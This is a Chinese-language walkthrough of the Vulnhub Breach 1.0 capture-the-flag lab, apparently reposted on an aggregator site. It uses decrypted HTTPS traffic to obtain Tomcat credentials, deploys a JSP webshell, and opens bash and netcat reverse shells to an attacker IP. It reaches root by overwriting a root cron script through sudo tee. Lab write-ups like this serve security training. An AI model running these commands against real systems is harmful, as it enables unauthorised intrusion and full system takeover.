解密HTTPS流量并getshell和提权系统权限(Breach1.0)
Posted 曹振国cc
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了解密HTTPS流量并getshell和提权系统权限(Breach1.0)相关的知识,希望对你有一定的参考价值。
文章目录
一、靶场的搭建及环境配置
1.1 靶场介绍
Breach1.0是Vulnhub中一个难度为初级到中级boot2root/CTF的挑战,虚拟机需要配置静态IP地址(192.168.110.140),需要将虚拟机的网卡设置为host-only(仅主机)方式组网。
1.2 环境配置
如果出现仅主机网卡已配置但始终无法生效,你可以试试
dhclient eth1
靶机:
Breach-1.0 192.168.110.140 仅主机模式
攻击机:
Kali 192.168.110.5 仅主机模式
192.168.101.11 仅主机模式
二、信息收集发现目标
2.1 nmap扫描端口探测
由于IP已知,使用nmap扫描端口,并做服务识别和端口扫描(-A),将扫描结果保存的txt文件
┌──(root💀xuegod)-[~/桌面]
└─# nmap -v -A 192.168.110.140 -oG a.txt
-v 显示扫描过程
-A 综合扫描
-oG 将扫描结果储存到文件
2.2 访问80端口(Web服务)
2.3 访问跳转地址,并保存相关信息
有两张图片和一个cms登录网站
点击图片再次跳转页面,保存图片并根据提示查看页面源码
没有什么可看的
三、查看首页源码并解码得到密码
3.1 回到首页,查看页面源码,
发现存在存在一处Base64的加密字符,还有一处跳转
3.2 解码得到账号,密码
pgibbons:damnitfeel$goodtobeagang$ta
四、登录CMS通过邮件下载SSL证书的密钥库文件
4.1 登录CMS
4.2 下载wireshark流量包文件
4.3 查看邮件找到SSL证书密钥库文件
这里还告诉了我们密钥库文件的密码
通过点击侧边栏又发现了一个gif图片,进行保存
4.4 通过kali寻找该CMS的漏洞
┌──(root💀xuegod)-[~/桌面]
└─# searchsploit impress cms 发现1.3.9版本存在sql注入
┌──(root💀xuegod)-[~/桌面]
└─# searchsploit -p 39737 寻找漏洞详情文件存放的地址
访问文件发现,漏洞的注入点在:
/modules/profile/admin/field.php
当我们去访问该地址时,系统提示我们无权访问,并跳回原页面
五、导入流量抓包文件、SSL证书到Wireshark
5.1 导入流量包文件到wireshark
TLS加密这是HTTPS数据包
5.2 对密钥库进行解密
将密钥库文件
keystore
放到C盘根目录,利用java\\jdk\\bin
目录下的keytool.exe
进行解密
要在C盘根目录下写文件需要管理员模式打开
cmd
C:\\Program Files\\Java\\jdk-10.0.2\\bin>keytool.exe 查看工具详情
C:\\Program Files\\Java\\jdk-10.0.2\\bin>keytool -list -keystore c:\\keystore 查看密钥库里所有的证书
口令:tomcat
C:\\Program Files\\Java\\jdk-10.0.2\\bin>keytool -importkeystore -srckeystore c:\\keystore -destkeystore c:\\tomcattkeystore.p12 -deststoretype PKCS12 -srcalias tomcat 生成解密的pkcs12证书
口令:tomcat
5.3 将p12证书导入wireshark
8443端口是tomcat打开SSL文本服务的默认端口,相当于https(443),为了区别使用所以用了8443端口
导入证书后,https的流量已经解密,可以查看TLS的流量包了
六、从流量包文件中得到Tomact后台URL和密码
6.1 分析流量包
通过查看流量包,发现
192.168.110.129
对192.168.110.140
有大量攻击行为,追踪http数据流
找到后台地址:https://192.168.110.140:8443/_M@nag3Me/html
访问被重置可以通过bp访问
6.2 通过401身份认证页面,找到被加密的账号密码
Basic dG9tY2F0OlR0XDVEOEYoIyEqdT1HKTRtN3pC
Base64解密:
tomcat:Tt\\5D8F(#!*u=G)4m7zB
七、登录Tomact后台并·Getshell
7.1 根据提示需要上传war格式的压缩包
7.2 打包冰蝎的jsp马成war包
┌──(root💀xuegod)-[~/桌面/server]
└─# zip -r shell.zip ./shell.jsp 将jsp马打包成zip
┌──(root💀xuegod)-[~/桌面/server]
└─# mv shell.zip shell.war 更改文件后缀
7.3 上传木马getshell
上传后自动解压,木马在
/shell/shell.jsp
配置代理通过bp连接 密码:
rebeyond
马每隔几分钟就会掉需要重新上传,当前用户是
tomcat6
并非root
八、查看系统用户发现mysql root密码
8.1 查看passwd文件里的用户名和密码
发现
root
,milton
,blumbergh
这三个用户是有bin/bash
权限的
8.2 在www目录下找到数据库配置文件
数据库是通过
localhost
方式连接的,用户名是root
,密码是空的
8.3 通过bash反弹shell
┌──(root💀xuegod)-[~/桌面/server]
└─# nc -lnvp 8888 通过nc进行监听
l使用监听模式
n直接使用ip,而不通过域名服务器
v显示详细过程
p指定本地监听端口
在虚拟终端反弹shell
echo "bash -i >& /dev/tcp/192.168.110.5/8888 0>&1" |bash
bash -i 打开一个交互式的bash
/dev/tcp/ 是Linux的一个特殊文件,实际这个文件是不存在的,它只是bash用来实现网络请求的一个接口。打开这个文件就相当于发出了一个socket调用,建立一个socket连接,读写这个文件就相当于在这个socket连接中传输数据
192.168.110.5/8888 是攻击者主机的地址和监听的端口
>& 表示混合输出,即标准输出+错误输出
0>&1 将标准输入重定向到标准输出中
8.4 提升成可交互shell
连接数据库并没有反应
python -c 'import pty;pty.spawn("/bin/bash")' 利用python调用本地shell实现交互式命令行
在mysql库,user表中找到了milton的密码
select user,password from user;
6450d89bd3aff1d893b85d3ad65d2ec2 解密:
thelaststraw
九、提权到用户milton和blumbergh
之前在passwd文件里看见了同名账号,尝试登录
9.1 查找有用信息
发现当前目录下有一张图片和一个脚本文件
在
home\\milton
目录下下载图片
查看脚本,什么都没有
查看当前系统的内核版本,并不具有本地提权漏洞
9.2 查看历史操作记录
cat .bash_history
有提权到 blumbergh的操作,需要找到blumbergh的密码
9.3 导出之前收集的图片的可打印的字符
有两个比较突出
tEXtComment
coffeestains
9.4 尝试登录并查找有用信息
发现
coffeestains
是blumbergh
的密码
查看历史记录寻找到了删我们上传的木马的计划脚本
脚本是root身份运行的,发现当前用户有权限执行
/usr/bin/tee
和这个脚本 tee是读取标准输入和输出的数据
十、使用nc反弹shell获取root权限
10.1 利用tee往计划任务脚本写入shell
回到根目录,往文本文件里写入一个shell脚本
echo "nc -e /bin/bash 192.168.110.5 9999" > shell.txt
通过tee将shell脚本写入原来的计划任务脚本
cat shell.txt | sudo /usr/bin/tee /usr/share/cleanup/tidyup.sh
查看脚本发现写入的内容已替代原先的内容,而这是一个定时执行的脚本
cat /usr/share/cleanup/tidyup.sh
10.2 利用kali监听,获取反弹shell
┌──(root💀xuegod)-[~/桌面/server]
└─# nc -lvnp 9999
已经是root权限了
以上是关于解密HTTPS流量并getshell和提权系统权限(Breach1.0)的主要内容,如果未能解决你的问题,请参考以下文章